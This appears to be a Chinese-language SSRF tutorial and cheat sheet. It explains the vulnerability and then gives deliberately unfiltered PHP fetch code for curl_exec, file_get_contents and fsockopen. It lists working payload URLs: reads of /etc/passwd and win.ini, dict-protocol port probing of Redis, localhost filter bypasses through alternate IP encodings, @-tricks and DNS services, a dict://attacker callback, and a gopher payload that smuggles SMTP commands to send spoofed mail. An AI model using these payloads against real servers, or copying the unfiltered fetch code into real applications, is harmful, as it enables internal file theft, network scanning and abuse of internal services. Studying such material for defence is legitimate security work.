0x01: 漏洞描述

SSRF ( server-site request forery 服务端请求伪造)是一种构造请求,有服务端发起的安全请求漏洞。
很多web 应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,web 应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意利用,可以利用存在缺陷的web 应用作为代理攻击远程和本地的服务器。

服务端请求伪造 (Server-Side Request Forgery)。
由攻击者构造带有攻击的请求传给服务器执行造成的漏洞。
一般是使用它在外网探测数据或是攻击内网服务。

image.png

0x02 SSRF 漏洞原理

SSRF 漏洞形成原因,服务端提供了从其他服务器获取数据的功能,但没有对内网目标地址做过滤和限制。

0x03 SSRF 漏洞作用

  1. 内网ip/端口扫描
  2. 服务器敏感数据读取
  3. 内网主机应用程序漏洞利用
  4. 内网web站点漏洞利用


0x04 SSRF漏洞的常见的位置

  1. 社交分享功能:获取超链接的标题等内容进行显示。
  2. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片。
  3. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验。
  4. 开发平台接口测试工具:一些公司会把自己的一些接口开放出来,形成第三方接口。这个时候他们通常会开发一个用于测试自己接口是否连通的web,给这些程序员测试接口,如果没有过滤好,就会造成ssrf。

image.png

0x05 相关函数

  1. file_get_contents()
  2. fsockopen()
  3. curl_exec()

以上三个函数使用不当会造成SSRF漏洞

需要注意的是:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
  • curl_exec() //默认不跟踪跳转
  • file_get_contents() // file_get_contents支持php://input协议

0x06 SSRF 漏洞基本利用

curl_exec

  1. # 文件名称: ssrf-test.php
  2. # 未做任何过滤-有回显
  3. <?php
  4. function curl($url){
  5. $ch = curl_init();
  6. curl_setopt($ch, CURLOPT_URL, $url);
  7. curl_setopt($ch, CURLOPT_HEADER, 0);
  8. curl_exec($ch);
  9. curl_close($ch);
  10. }
  11. $url = $_GET['url'];
  12. curl($url);
  1. # 利用file协议查看文件
  2. # 如果访问成功就会返回数据
  3. 访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
  4. 访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
  5. # 利用dict探测端口
  6. # 开启访问的端口时会返回很快,如果没开启就会延迟一下
  7. 访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:80
  8. 访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:6379/info
  9. # 使用http协议探测端口
  10. # 开启访问的端口时会返回很快,如果没开启就会延迟一下
  11. 访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:80

file_get_contents

  1. # 文件名称: ssrf-test.php
  2. # 未做任何过滤-有回显
  3. <?php
  4. $url = $_GET['url'];;
  5. echo file_get_contents($url);
  1. # 利用file协议查看文件
  2. # 如果访问成功就会返回数据
  3. 访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
  4. 访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd

fsockopen

  1. # 文件名称: ssrf-test.php
  2. # 未做任何过滤-有回显
  3. <?php
  4. $host=$_GET['url'];
  5. $fp = fsockopen("$host", 80, $errno, $errstr, 30);
  6. if (!$fp) {
  7. echo "$errstr ($errno)<br />\n";
  8. } else {
  9. $out = "GET / HTTP/1.1\r\n";
  10. $out .= "Host: $host\r\n";
  11. $out .= "Connection: Close\r\n\r\n";
  12. fwrite($fp, $out);
  13. while (!feof($fp)) {
  14. echo fgets($fp, 128);
  15. }
  16. fclose($fp);
  17. }
  18. ?>
  1. # 利用file协议查看文件
  2. # 如果访问成功就会返回数据
  3. 访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
  4. 访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd

0x07 SSRF中环境支持的协议类型

  1. http / https
  2. DICT://team.com:22
  3. file:///etc/passwd
  4. Gopher万能协议(利用Gopher攻击Redis、攻击Fastcgi
  5. FTP(S)/SMB(S)匿名访问及爆破
  6. Tftp :UDP协议 发送UDP数据包
  7. Telnet SSH/Telnet匿名访问及爆破

image.png

0x08 基本绕过方法

攻击本地

  1. http://127.0.0.1:80
  2. http://localhost:22

利用[::]

  1. 利用[::]绕过localhost
  2. http://[::]:80/ >>> http://127.0.0.1

利用@

  1. http://example.com@127.0.0.1

利用短地址

  1. http://dwz.cn/11SMa >>> http://127.0.0.1

利用DNS解析

在域名上设置A记录,指向127.0.1
购买一个域名例如我购买了一个 phpoop.com 这个域名
我把 www.phpoop.com 指向127.0.1

利用特殊域名

利用的原理是DNS解析

  1. 利用的原理是DNS解析
  2. http://127.0.0.1.xip.io/
  3. http://www.owasp.org.127.0.0.1.xip.io/

利用上传

也不一定是上传,我也说不清,自己体会 -.-
修改”type=file”为”type=url”
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

利用Enclosed alphanumerics

  1. 利用Enclosed alphanumerics
  2. ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
  3. List:

利用句号

  1. 127001 >>> 127.0.0.1

利用进制转换

  1. 可以是十六进制,八进制等。
  2. 115.239.210.26 >>> 16373751032
  3. 首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
  4. 然后把 73efd21a 这十六进制一起转换成8进制
  5. 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 XSS中多加几个0来绕过过滤一样),十六进制加0x
  6. http://127.0.0.1 >>> http://0177.0.0.1/
  7. http://127.0.0.1 >>> http://2130706433/
  8. http://192.168.0.1 >>> http://3232235521/
  9. http://192.168.1.1 >>> http://3232235777/

利用特殊地址

  1. http://0/

利用协议

  1. Dict://
  2. dict://<user-auth>@<host>:<port>/d:<word>
  3. ssrf.php?url=dict://attacker:11111/
  4. SFTP://
  5. ssrf.php?url=sftp://example.com:11111/
  6. TFTP://
  7. ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
  8. LDAP://
  9. ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
  10. Gopher://
  11. ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a